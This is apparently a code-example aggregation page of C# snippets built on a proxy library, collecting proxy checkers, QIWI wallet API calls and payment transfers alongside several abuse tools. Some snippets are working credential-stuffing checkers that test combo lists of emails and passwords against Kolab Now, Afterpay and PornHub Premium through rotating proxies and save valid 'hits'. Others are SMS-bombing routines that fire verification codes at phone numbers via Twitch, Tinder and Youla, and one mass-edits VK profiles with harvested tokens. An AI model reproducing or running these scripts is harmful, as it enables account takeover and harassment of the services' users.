Exemplo n.º 1
0
        public void setproxy(ref HttpRequest req)
        {
            if (this.useproxy)
            {
                try
                {
again:
                    string proxy = getproxy();
                    if (proxy == "retry")
                    {
                        Thread.Sleep(new Random().Next(100, 200) * 100);
                        goto again;
                    }
                    switch (proxytype)
                    {
                    case "socks4":
                        req.Proxy = ProxyClient.Parse(ProxyType.Socks4, proxy);
                        break;

                    case "socks5":
                        req.Proxy = ProxyClient.Parse(ProxyType.Socks5, proxy);
                        break;

                    case "http":
                        req.Proxy = ProxyClient.Parse(ProxyType.HTTP, proxy);
                        break;
                    }
                }
                catch (Exception E)
                {
                }
            }
        }
Exemplo n.º 2
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = request.Post("https://kolabnow.com/api/auth/login", "{\"email\":\"" + credentials[0] + "\",\"password\":\"" + credentials[1] + "\",\"secondfactor\":\"\"}", "application/json;charset=UTF-8a").ToString();

                    if (check.Contains("Invalid username or password"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (check.Contains("\"isActive\":true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Exemplo n.º 3
0
        public static string Get()
        {
            string      Name = "ContentType";
            HttpRequest req  = new HttpRequest();

            string f;

            var NMP = Helper.Proxy();

            if (NMP.Length > 0)
            {
                var proxyClient = ProxyClient.Parse(ProxyType.Http, NMP);
                req.Proxy = proxyClient;
            }

            req.AddHeader("Accept", "application/json");
            req.AddHeader(Name, "application/json");
            req.AddHeader("Authorization", string.Format("Bearer {0}", token));
            string text = req.Get("https://edge.qiwi.com/payment-history/v2/persons/" + MyStrings.PNum + "/payments?rows=10", null).ToString();

            req.Close();

            myjs.RootObject newQiwi = JsonConvert.DeserializeObject <myjs.RootObject>(text);

            f = "<Чеки>" + Environment.NewLine;
            foreach (var ck in newQiwi.data)
            {
                f += "ID операции:" + ck.trmTxnId + "\r\nСтатус:" + ck.statusText + "\r\nСумма:" + ck.sum.amount + " " + ck.sum.MSC() + "\r\nТип: " + ck.MS() + ck.mcomment() + "\r\n----------------------" + Environment.NewLine;
            }
            return(f);
        }
Exemplo n.º 4
0
 public void SetProxy(ProxyType proxyType, string proxy)
 {
     if (proxyType != ProxyType.Http)
     {
         _proxyClient = ProxyClient.Parse(proxyType, proxy);
     }
 }
        public int ProxyChecker(ProxyType proxyType, IEnumerable <String> proxies, int proxyTimeout, int threads)
        {
            int correctProxy   = 0;
            var requestTimeout = 5 * 1000;

            File.Delete("../../../GoodProxy.txt");
            Parallel.ForEach(proxies, new ParallelOptions()
            {
                MaxDegreeOfParallelism = threads
            }, proxy =>
            {
                try
                {
                    using (var request = new HttpRequest())
                    {
                        request.ConnectTimeout       = requestTimeout;
                        request.Proxy                = ProxyClient.Parse(proxyType, proxy);
                        request.Proxy.ConnectTimeout = proxyTimeout;
                        request.UserAgent            = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36";
                        request.Get("http://google.com");
                        Console.WriteLine("[Good Proxy] " + proxy);
                        checkedProxy.Add(proxy);
                        correctProxy = correctProxy + 1;
                    }
                }
                catch (Exception)
                {
                    Console.WriteLine("[Bad Proxy] " + proxy);
                }
            });
            SaveFile(checkedProxy, "../../../GoodProxy.txt");
            return(correctProxy);
        }
Exemplo n.º 6
0
        public static ResponseSendSms SendSms()
        {
            using (var request = new HttpRequest())
            {
                if (!string.IsNullOrWhiteSpace(Globals.WorkingData.ProxyAdress))
                {
                    request.Proxy = ProxyClient.Parse(Globals.WorkingData.ProxyTypeLeaf, Globals.WorkingData.ProxyAdress);
                }
                try
                {
                    request.Post($"{DomainList.Twitch}/register?trusted_request=true", $"{{\"birthday\": {{\"day\": 15, \"month\": 6, \"year\": 1995}}, \"client_id\": \"kd1unb4b3q4t58fwlpcbzcbnm76a8fp\", \"include_verification_code\": true, \"password\": \"passtsSor@5363\", \"phone_number\": \"{Globals.WorkingData.PhoneNumber}\", \"username\": \"Dodiks5216\"}}", "application/json").ToString();
                }
                catch
                {
                    if (!request.HttpIsConnected() || (int)request.Response.StatusCode != 422)
                    {
                        return(new ResponseSendSms {
                            FailedConnected = !request.HttpIsConnected(), SuccessSend = false
                        });
                    }
                }

                if (request.Response.ToString().Contains("via SMS soon"))
                {
                    Globals.WorkingStats.CountSendingSms++;
                    return(new ResponseSendSms {
                        SuccessSend = true
                    });
                }
                return(new ResponseSendSms {
                    SuccessSend = false
                });
            }
        }
Exemplo n.º 7
0
        private void GetTicket_Click(object sender, EventArgs e)
        {
            try
            {
                Task.Run(() =>
                {
                    var NMP = Helper.Proxy();

                    if (NMP.Length > 0)
                    {
                        var proxyClient = ProxyClient.Parse(ProxyType.Http, NMP);
                        req.Proxy       = proxyClient;
                    }

                    req.AddHeader("Accept", "application/json");
                    req.AddHeader("Authorization", string.Format("Bearer {0}", Helper.token(MyStrings.AutoLogin, Form1.token)));
                    string text = req.Get("https://edge.qiwi.com/payment-history/v2/persons/" + PNum.Text + "/payments?rows=10", null).ToString();
                    req.Close();

                    myjs.RootObject newQiwi = JsonConvert.DeserializeObject <myjs.RootObject>(text);

                    richTextBox1.Text += "<Чеки>" + Environment.NewLine;
                    foreach (var ck in newQiwi.data)
                    {
                        richTextBox1.Text += $"ID операции: {ck.trmTxnId}\r\nСтатус: {ck.statusText}\r\nСумма: {ck.sum.amount} {ck.sum.MSC()}\r\nТип: {ck.MS() + ck.mcomment()}\r\n----------------------\r\n";
                    }
                });
            }
            catch (Exception ex)
            {
                File.WriteAllText(MyStrings.MFolder + "Log " + DateTime.Now + ".txt", ex.ToString());
            }
        }
Exemplo n.º 8
0
        public static ResponseSendSms SendSms()
        {
            using (var request = new HttpRequest())
            {
                if (!string.IsNullOrWhiteSpace(Globals.WorkingData.ProxyAdress))
                {
                    request.Proxy = ProxyClient.Parse(Globals.WorkingData.ProxyTypeLeaf, Globals.WorkingData.ProxyAdress);
                }
                string response = "";
                try
                {
                    response = request.Post($"{DomainList.Tinder}/v2/auth/sms/send?auth_type=sms&locale=ru", $"{{\"phone_number\":\"{Globals.WorkingData.PhoneNumber}\"}}", "application/json").ToString();
                }
                catch
                {
                    return(new ResponseSendSms {
                        FailedConnected = !request.HttpIsConnected(), SuccessSend = false
                    });
                }


                if (request.Response.ToString().Contains("\"sms_sent\":true}"))
                {
                    Globals.WorkingStats.CountSendingSms++;
                    return(new ResponseSendSms {
                        SuccessSend = true
                    });
                }
                return(new ResponseSendSms {
                    SuccessSend = false
                });
            }
        }
Exemplo n.º 9
0
        public static string Get(string Link, string Proxy) //Leaf.xNet.HttpException
        {
            HttpRequest request = new HttpRequest();

            request.KeepAlive = true;
            request.UserAgentRandomize();
            try
            {
                request.Proxy = ProxyClient.Parse(ProxyType.Socks5, Proxy);
                request.Get(Link).ToString();
            }
            catch
            {
                request.Proxy = ProxyClient.Parse(ProxyType.Socks4, Proxy);
            }

            //Httpresponse и проверять значение, вместо параши снизу
            string response = "";

            try
            {
                request.Get(Link).ToString();
                response = "ok";
            }
            catch (HttpException err)
            {
                response = err.Message;
            }
            return(response);
        }
Exemplo n.º 10
0
        public static void CC(string type, string NumCard, string Sum)
        {
            HttpRequest req = new HttpRequest();

            DateTime foo      = DateTime.UtcNow;
            long     unixTime = ((DateTimeOffset)foo).ToUnixTimeSeconds();
            var      idt      = 1000 * unixTime;

            var NMP = Helper.Proxy();

            if (NMP.Length > 0)
            {
                var proxyClient = ProxyClient.Parse(ProxyType.Http, NMP);
                req.Proxy = proxyClient;
            }

            req.AddHeader("Authorization", "Bearer " + token);
            string json = "{\"id\":\"" + idt + "\",\"sum\":{\"amount\":" + Sum + ", \"currency\":\"643\"}, \"paymentMethod\":{\"type\":\"Account\", \"accountId\":\"643\"}, \"fields\":{\"account\":\"" + NumCard + "\"}}";

            string url     = "https://edge.qiwi.com/sinap/api/v2/terms/" + type + "/payments";
            string content = req.Post(url, json, "application/json").ToString();

            req.Close();
            Console.WriteLine(content);
        }
Exemplo n.º 11
0
        private static List <ProxyClient> getProxiesFromFile(ProxyType type, string fileName)
        {
            List <ProxyClient> proxiesList = new List <ProxyClient>();

            foreach (var line in File.ReadAllLines(fileName))
            {
                ProxyClient client;

                try
                {
                    client = ProxyClient.Parse(type, line.Trim());
                }

                catch (Exception)
                {
                    continue;
                }

                if (!proxiesList.Contains(client))
                {
                    proxiesList.Add(client);
                }
            }

            return(proxiesList);
        }
Exemplo n.º 12
0
        private void SaveTicket_Click(object sender, EventArgs e)
        {
            try
            {
                string cont;
                richTextBox1.Clear();

                var NMP = Helper.Proxy();

                if (NMP.Length > 0)
                {
                    var proxyClient = ProxyClient.Parse(ProxyType.Http, NMP);
                    req.Proxy = proxyClient;
                }

                req.AddHeader("Accept", "application/json");
                req.AddHeader("Authorization", string.Format("Bearer {0}", Helper.token(MyStrings.AutoLogin, Form1.token)));
                string text = req.Get("https://edge.qiwi.com/payment-history/v2/persons/" + PNum.Text + "/payments?rows=10", null).ToString();
                req.Close();

                myjs.RootObject newQiwi = JsonConvert.DeserializeObject <myjs.RootObject>(text);

                cont = "<Чеки>" + Environment.NewLine;
                foreach (var ck in newQiwi.data)
                {
                    cont += "ID операции: " + ck.trmTxnId + "\r\nСтатус: " + ck.statusText + "\r\nСумма: " + ck.sum.amount + " " + ck.sum.MSC() + "\r\nТип: " + ck.MS() + ck.mcomment() + "\r\n----------------------" + Environment.NewLine;
                }
                File.WriteAllText(Path.Combine(Application.StartupPath.ToString(), MyStrings.checks), cont);
                MessageBox.Show("Чеки были сохранены в папке с программой!");
            }
            catch (Exception ex)
            {
                File.WriteAllText(MyStrings.MFolder + "LogError.txt", ex.ToString());
            }
        }
Exemplo n.º 13
0
        public static ResponseSendSms SendSms()
        {
            using (var request = new HttpRequest())
            {
                if (!string.IsNullOrWhiteSpace(Globals.WorkingData.ProxyAdress))
                {
                    request.Proxy = ProxyClient.Parse(Globals.WorkingData.ProxyTypeLeaf, Globals.WorkingData.ProxyAdress);
                }
                try
                {
                    request.Post($"{DomainList.Youla}/web-api/auth/request_code", $"{{\"phone\":\"+{Globals.WorkingData.PhoneNumber}\"}}", "application/json").ToString();
                }
                catch
                {
                    return(new ResponseSendSms {
                        FailedConnected = !request.HttpIsConnected(), SuccessSend = false
                    });
                }

                if ((int)request.Response.StatusCode == 200)
                {
                    Globals.WorkingStats.CountSendingSms++;
                    return(new ResponseSendSms {
                        SuccessSend = true
                    });
                }
                return(new ResponseSendSms {
                    SuccessSend = false
                });
            }
        }
Exemplo n.º 14
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = req.Post("https://portalapi.afterpay.com/portal/consumers/auth/reset/check-email-option-eligibility", "{\"email\":\"" + credentials[0] + "\"}", "application/json").ToString();
                    if (check.Contains("shouldDisableEmailOption\" : false") || check.Contains("shouldDisableEmailOption\" : true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("not_found"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Exemplo n.º 15
0
        public void setproxy(ref HttpRequest req)
        {
            if (this.useproxy)
            {
                if (proxylist.Count > 0)
                {
                    string proxy = proxylist[new Random().Next(0, proxylist.Count - 1)];
                    if (proxy.Length <= 0)
                    {
                        return;
                    }
                    switch (proxytype)
                    {
                    case "socks4":
                        req.Proxy = ProxyClient.Parse(ProxyType.Socks4, proxy);
                        break;

                    case "socks5":
                        req.Proxy = ProxyClient.Parse(ProxyType.Socks5, proxy);
                        break;

                    case "http":
                        req.Proxy = ProxyClient.Parse(ProxyType.HTTP, proxy);
                        break;
                    }
                }
            }
        }
Exemplo n.º 16
0
 public void SafeUpdate(string pr)
 {
     lock (locker)
     {
         var prxs = new List <ProxyClient>();
         GetProxies(pr).ForEach(x => prxs.Add(ProxyClient.Parse(x)));
         plist = prxs.ToArray();
     }
 }
Exemplo n.º 17
0
        /// <summary>
        /// Отправить HLR запрос о номере телефона
        /// </summary>
        /// <param name="captchaCode">Код с картинки</param>
        /// <param name="phoneNumber">Номер телефона</param>
        /// <returns></returns>
        public static async Task <ReturnTypes.ResponseGetHLRRequestInfo> GetHLRRequestInfoAsync(string captchaCode, string phoneNumber)
        {
            return(await Task.Run(() =>
            {
                using (var request = new HttpRequest())
                {
                    if (!string.IsNullOrEmpty(ProxyAdress))
                    {
                        request.Proxy = ProxyClient.Parse(ProxyTypeLeaf, ProxyAdress);
                    }
                    var reqParams = new RequestParams();
                    string response = "";
                    reqParams["SE"] = SECookie;
                    reqParams["phone"] = phoneNumber;
                    reqParams["code"] = captchaCode;
                    reqParams["send"] = "(unable to decode value)";
                    reqParams["uniq"] = "1";
                    try
                    {
                        response = request.Post("https://smsc.ru/testhlr/", reqParams).ToString();
                    }
                    catch
                    {
                        return new ReturnTypes.ResponseGetHLRRequestInfo {
                            FailedConnected = !request.HttpIsConnected(), RequestError = true
                        };
                    }

                    if (response.Contains("im/error.gif"))
                    {
                        return new ReturnTypes.ResponseGetHLRRequestInfo {
                            Error = response.Substring("<tr><td><img src=/im/error.gif width=16><td><b>", "</b></table><br><p>") ?? ""
                        };
                    }
                    if (response.Contains("Страна"))
                    {
                        return new ReturnTypes.ResponseGetHLRRequestInfo
                        {
                            Country = response.Substring("<tr><td><b>Страна:</b><td>", "<tr><td><b>") ?? "",
                            Operator = response.Substring("Оператор:</b><td>", "<tr><td><b>") ?? "",
                            TimeZone = response.Substring("Часовой пояс:</b><td>", "<tr>") ?? "",
                            Network = response.Substring("Сеть:</b><td>", "<tr><td><b>") ?? "",
                            MCC = response.Substring("mcc:</b><td>", "<tr><td><b>") ?? "",
                            MNC = response.Substring("mnc:</b><td>", "<tr><td><b>") ?? "",
                            IMSI = response.Substring("imsi:</b><td>", "<tr><td><b>") ?? "",
                            MSC = response.Substring("msc:</b><td>", "<tr><td>") ?? "",
                            Status = response.Substring("Статус:</b><td class=o>", "</table>") ?? response.Substring("Статус:</b><td class=r>", "</table>") ?? "",
                        };
                    }
                    return new ReturnTypes.ResponseGetHLRRequestInfo {
                        Error = "Неизвестная ошибка метода"
                    };
                }
            }));
        }
Exemplo n.º 18
0
        static void Main(string[] args)
        {
            Console.Title = "Proxena 0.01 | Made by TigerNet [Ariel Shabaev]";


            Console.WriteLine("");
            Console.WriteLine("██████╗ ██████╗  ██████╗ ██╗  ██╗███████╗███╗   ██╗ █████╗ ", ColorTranslator.FromHtml("#1E90FF"));
            Console.WriteLine("██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝████╗  ██║██╔══██╗", ColorTranslator.FromHtml("#1E90FF"));
            Console.WriteLine("██████╔╝██████╔╝██║   ██║ ╚███╔╝ █████╗  ██╔██╗ ██║███████║", ColorTranslator.FromHtml("#1E90FF"));
            Console.WriteLine("██╔═══╝ ██╔══██╗██║   ██║ ██╔██╗ ██╔══╝  ██║╚██╗██║██╔══██║", ColorTranslator.FromHtml("#1E90FF"));
            Console.WriteLine("██║     ██║  ██║╚██████╔╝██╔╝ ██╗███████╗██║ ╚████║██║  ██║", ColorTranslator.FromHtml("#1E90FF"));
            Console.WriteLine("╚═╝     ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝╚═╝  ╚═╝", ColorTranslator.FromHtml("#1E90FF"));


            Console.WriteLine("v0.01 | Author : TigerNet [Ariel Shabaev]", ColorTranslator.FromHtml("#1E90FF"));
            Console.WriteLine("");


            var proxies        = File.ReadAllLines("proxies.txt");
            var threads        = 50;
            var requestTimeout = 5 * 1000; // 5 Seconds
            var proxyTimeout   = 2 * 1000; // 2 Seconds
            var proxyType      = ProxyType.Socks4;
            var good           = 0;



            Parallel.ForEach(proxies, new ParallelOptions()
            {
                MaxDegreeOfParallelism = threads
            }, proxy =>
            {
                try
                {
                    using (var request = new HttpRequest())
                    {
                        request.ConnectTimeout       = requestTimeout;
                        request.Proxy                = ProxyClient.Parse(proxyType, proxy);
                        request.Proxy.ConnectTimeout = proxyTimeout;


                        request.Get("https://azenv.net/");
                        Console.WriteLine("[GOOD PROXY]" + proxy, ColorTranslator.FromHtml("#009900"));


                        Interlocked.Increment(ref good);
                        File.AppendAllText("good.txt", proxy + Environment.NewLine);
                    }
                }
                catch { Console.WriteLine("[BAD PROXY]" + proxy, ColorTranslator.FromHtml("#FF0000")); }
            });

            Console.WriteLine("Done!\n\n" + good + " good proxies out of " + proxies);
        }
Exemplo n.º 19
0
        void Change()
        {
            LogAdd("Started");
            string response = string.Empty;

            for (int i = 0; i < tokens.Count; i++)
            {
                try
                {
                    string name    = names[rnd.Next(0, names.Count)];
                    string surname = surnames[rnd.Next(0, surnames.Count)];
                    int    sex     = 1;

                    string captcha = string.Empty;
                    string token   = tokens[i];

                    HttpRequest request = new HttpRequest();
                    request.UserAgentRandomize();
                    request.Proxy = ProxyClient.Parse(ProxyType.HTTP, proxies[1]);
REQUEST:
                    string req = $"https://api.vk.com/method/account.saveProfileInfo?first_name={name}&last_name={surname}&sex={sex}&access_token={token}&v=5.103" + captcha;
                    response   = request.Get(req).ToString();

                    ChangeResponse serializeResponse = JsonConvert.DeserializeObject <ChangeResponse>(response);
                    if (serializeResponse.response.name_request.status == "success")
                    {
                        statistics.good++;
                        LogAdd("GOOD account info changed");
                    }
                    else if (serializeResponse.response.name_request.status == "declined")
                    {
                        statistics.bad++;
                        LogAdd("BAD info not changed");
                    }
                    else
                    {
                        statistics.errors++;
                        LogAdd("NONE INFO response: " + response);
                    }
                }
                catch (Exception ex)
                {
                    statistics.errors++;
                    LogAdd($"ERROR while changing info: {Environment.NewLine}\tMessage: {ex.Message}{Environment.NewLine}\tStackTrace: {ex.StackTrace}{Environment.NewLine}Response: {response}");
                }
                finally
                {
                    statistics.left--;
                }
            }

            LogAdd("Ended");
        }
Exemplo n.º 20
0
        public static HttpRequest Req(CookieDictionary cookies, string proxy)
        {
            HttpRequest request = new HttpRequest();

            request.KeepAlive            = true;
            request.UserAgent            = UserAgent;
            request.Cookies              = cookies;
            request.Proxy                = ProxyClient.Parse(ProxyType.Http, proxy);
            request.IgnoreProtocolErrors = true;


            return(request);
        }
        public List <Bet> Parse()
        {
            List <Bet> rezult = new List <Bet>();
            Stopwatch  sw     = new Stopwatch();

            sw.Start();

            if (UsingProxy)
            {
                _req.Proxy = ProxyClient.Parse(ProxyList.GetRnd());
                _req.Proxy.ConnectTimeout   = 1500;
                _req.Proxy.ReadWriteTimeout = 1500;
            }

            var          response = _req.Get($"{_url}live.html").ToString();
            HtmlDocument doc      = new HtmlDocument();

            doc.LoadHtml(response);

            var links = doc.DocumentNode.SelectNodes("//a").Where(x => x.Attributes["href"] != null && x.Attributes["href"].Value.StartsWith("bet.html?hl=")).Select((x => x.Attributes["href"].Value)).ToList();

            List <Task <Bet> > tasks = new List <Task <Bet> >();

            foreach (string link in links)
            {
                Task <Bet> task = Task <Bet> .Factory.StartNew(delegate()
                {
                    try
                    {
                        return(ParsePage(link));
                    }
                    catch (Exception ex)
                    {
#if DEBUG
                        Console.WriteLine("Parimatch.inner: " + ex.Message);
#endif
                        return(null);
                    }
                });

                tasks.Add(task);
            }

            //TODO:Нужно сделать нормальную обработку инфы потоками
            throw new NotImplementedException("Нужно сделать нормальную обработку инфы потоками");
            sw.Stop();
            Console.WriteLine($"Parimatch: {rezult.Count} {sw.Elapsed} мс");
            return(rezult);
        }
Exemplo n.º 22
0
        public static string Send(RequestData requestData)
        {
            using (var httpRequest = new HttpRequest())
            {
                httpRequest.AllowAutoRedirect = requestData.AllowRedirect;
                DataHelper.AddHeaders(httpRequest, requestData.Headers);

                if (requestData.ProxyAddr != "")
                {
                    httpRequest.Proxy = ProxyClient.Parse(requestData.ProxyType, requestData.ProxyAddr);
                }

                var resp = httpRequest.Raw(requestData.Method, requestData.Uri, new StringContent(requestData.Data, Encoding.UTF8));
                return(ResponseToText(resp));
            }
        }
Exemplo n.º 23
0
        public Account(string Login, string Password, string Token, DataGridView dgv)
        {
            login    = Login;
            password = Password;
            token    = Token;
            int index = dgv.Rows.Count - 1;

            dgv.Rows.Add();
            row = dgv.Rows[index];
            GetCookie();
            ChangeColumnData();

            request = new HttpRequest();
            request.UserAgentRandomize();
            request.Proxy = ProxyClient.Parse(ProxyType.Socks5, "91.188.242.95:9918:ZwEfgS:DDBbkb");
        }
Exemplo n.º 24
0
        public static string Start(string login, string password, ProxyType type, string Proxy, bool proxy)
        {
            try
            {
                string      resp = ""; //Return answer
                HttpRequest req  = new HttpRequest
                {
                    Cookies   = new CookieDictionary(),
                    UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 YaBrowser/20.2.0.1043 Yowser/2.5 Safari/537.36" // User agent
                };

                if (proxy == true) // if proxies uses...
                {
                    var proxyClient = ProxyClient.Parse(type, Proxy);
                    req.Proxy = proxyClient;
                }

                string token = Helper.Pars(req.Get("https://rt.pornhubpremium.com/premium/login").ToString(), "<input type=\"hidden\" name=\"token\" id=\"token\" value=\"", "\""); //parsing token

                string[] strArrays = new string[] { "username="******"&password="******"&token=" + token + "&redirect=&from=pc_premium_login&segment=straight" };      //authorization requests
                string   chek      = req.Post("https://rt.pornhubpremium.com/front/authenticate", string.Concat(strArrays), "application/x-www-form-urlencoded").ToString();        //authorization
                req.Cookies.Clear();

                if (Helper.Pars(chek, "\"success\":\"", "\"") == "1") //we determine the type of account from the response received
                {
                    if (Helper.Pars(chek, "\"premium_redirect_cookie\":\"", "\"") == "1")
                    {
                        resp = "Prem";
                    }
                    else
                    {
                        resp = "Good";
                    }
                }
                else
                {
                    resp = "Bad";
                }
                req.Dispose();
                return(resp);
            }
            catch
            {
                return("Err"); //failed to connect
            }
        }
Exemplo n.º 25
0
        /*
         * Возвращает проксю из списка
         * с указанным прокси клиентом
         *
         */
        public static ProxyClient GetProxy(int index)
        {
            switch (Globals.TypeProxy)
            {
            case 1:
                return(ProxyClient.Parse(ProxyType.Http, Globals.Proxy[index].ToString()));

            case 2:
                return(ProxyClient.Parse(ProxyType.Socks4, Globals.Proxy[index].ToString()));

            case 3:
                return(ProxyClient.Parse(ProxyType.Socks5, Globals.Proxy[index].ToString()));

            default:
                return(ProxyClient.Parse(ProxyType.Http, Globals.Proxy[index].ToString()));
            }
        }
Exemplo n.º 26
0
        static void Main(string[] args)
        {
            Console.Title = "Proxy Checker by DevXYZ#9788";
            var proxies        = File.ReadAllLines("proxies.txt");
            var threads        = 50;
            var requestTimeout = 5 * 1000;
            var proxyTimeout   = 2 * 1000;
            var proxyType      = ProxyType.Socks4;

            var good = 0;

            Parallel.ForEach(proxies, new ParallelOptions()
            {
                MaxDegreeOfParallelism = threads
            }, proxy =>
            {
                try
                {
                    using (var request = new HttpRequest())
                    {
                        request.ConnectTimeout       = requestTimeout;
                        request.Proxy                = ProxyClient.Parse(proxyType, proxy);
                        request.Proxy.ConnectTimeout = proxyTimeout;

                        request.Get("http://azenv.net/");

                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine("[GOOD PROXY]" + proxy);
                        Console.ResetColor();

                        Interlocked.Increment(ref good);
                        File.AppendAllText("good.txt", proxyTimeout + Environment.NewLine);
                    }
                }
                catch
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("[BAD PROXY]" + proxy);
                    Console.ResetColor();
                }
            });

            Console.WriteLine("Done checking!\n\n Good proxies: " + proxies);
            Console.ReadKey();
        }
Exemplo n.º 27
0
 //proxyCloction[new Random().Next(0, proxyCloction.Count)]
 private void Init(bool isProxt)
 {
     if (httpRequest != null)
     {
         httpRequest.Close();
         httpRequest.ClearAllHeaders();
     }
     httpRequest = new HttpRequest()
     {
         Cookies           = new CookieDictionary(),
         AllowAutoRedirect = true,
     };
     if (isProxt)
     {
         ProxyClient proxyClient = ProxyClient.Parse(ProxyType.Http, proxyCloction[new Random().Next(0, proxyCloction.Count)]);
         httpRequest.Proxy = proxyClient;
     }
 }
Exemplo n.º 28
0
        public static List <ProxyClient> GetProxies(string path, ProxyType proxyType)
        {
            var proxies = File.ReadAllLines(path).Select(x => {
                var proxySplit = x.Split();
                var client     = ProxyClient.Parse(proxyType, proxySplit[0]);
                if (proxySplit.Length > 1)
                {
                    client.Username = proxySplit[1];
                }
                if (proxySplit.Length > 2)
                {
                    client.Password = proxySplit[2];
                }

                return(client);
            });

            return(proxies.ToList());
        }
Exemplo n.º 29
0
        public static void Send(string x, string y, string z)  // z- комментарий
        {
            HttpRequest req = new HttpRequest();

            double a      = int.Parse(y);
            double b      = (a / 100) * 2;
            double result = a + b;

            DateTime foo      = DateTime.UtcNow;
            long     unixTime = ((DateTimeOffset)foo).ToUnixTimeSeconds();
            var      id       = 1000 * unixTime;

            DialogResult MSG = MessageBox.Show("Вы уверены, что хотите перевести " + y + res + " пользователю, с номером'" + x + "' ? " + "С учетом комиссии будет списана суммма: " + result + res, "Подтверждение", MessageBoxButtons.YesNo);

            if (MSG == DialogResult.Yes)
            {
                var NMP = Helper.Proxy();

                if (NMP.Length > 0)
                {
                    var proxyClient = ProxyClient.Parse(ProxyType.Http, NMP);
                    req.Proxy = proxyClient;
                }

                req.AddHeader("Authorization", "Bearer " + token);
                string json    = "{\"id\":\"" + id + "\",\"sum\":{\"amount\":" + y + ", \"currency\":\"643\"}, \"paymentMethod\":{\"type\":\"Account\", \"accountId\":\"643\"}, \"comment\":\"" + z + "\", \"fields\":{\"account\":\"" + x + "\"}}";
                string content = req.Post(url, json, "application/json").ToString();

                string arg32 = Helper.Pars(content, "{\"code\":", "}", 0, null);
                if (arg32 == "\"Accepted\"")
                {
                    Console.WriteLine("Перевод на номер " + x + " успешно выполнен! Код операции:" + id);
                }
                else
                {
                    Console.WriteLine("Что то пошло не так! Попробуйте попытку снова.");
                }
                req.Close();
            }
            else
            {
            }
        }
Exemplo n.º 30
0
        public static void Auth()
        {
            string      name = "ContentType";
            HttpRequest req  = new HttpRequest();

            if (File.Exists(MyStrings.AutoLogin))
            {
                FileStream   stream = new FileStream(MyStrings.AutoLogin, FileMode.Open);
                StreamReader reader = new StreamReader(stream);
                string       ppr    = reader.ReadToEnd();
                stream.Close();

                var NMP = Helper.Proxy();

                if (ppr == "Yes")
                {
                    if (NMP.Length > 0)
                    {
                        var proxyClient = ProxyClient.Parse(ProxyType.Http, NMP);
                        req.Proxy = proxyClient;
                    }

                    try
                    {
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader(name, "application/json");
                        req.AddHeader("Authorization", string.Format("Bearer {0}", Helper.DeHash()));
                        req.Get("https://edge.qiwi.com/person-profile/v1/profile/current", null).ToString();
                        req.Close();
                        Status = "OK";
                    }

                    catch (Exception ex)
                    {
                        Console.WriteLine("Возникла ошибка, повторите попытку позже. " + ex);
                    }
                }
            }

            else
            {
            }
        }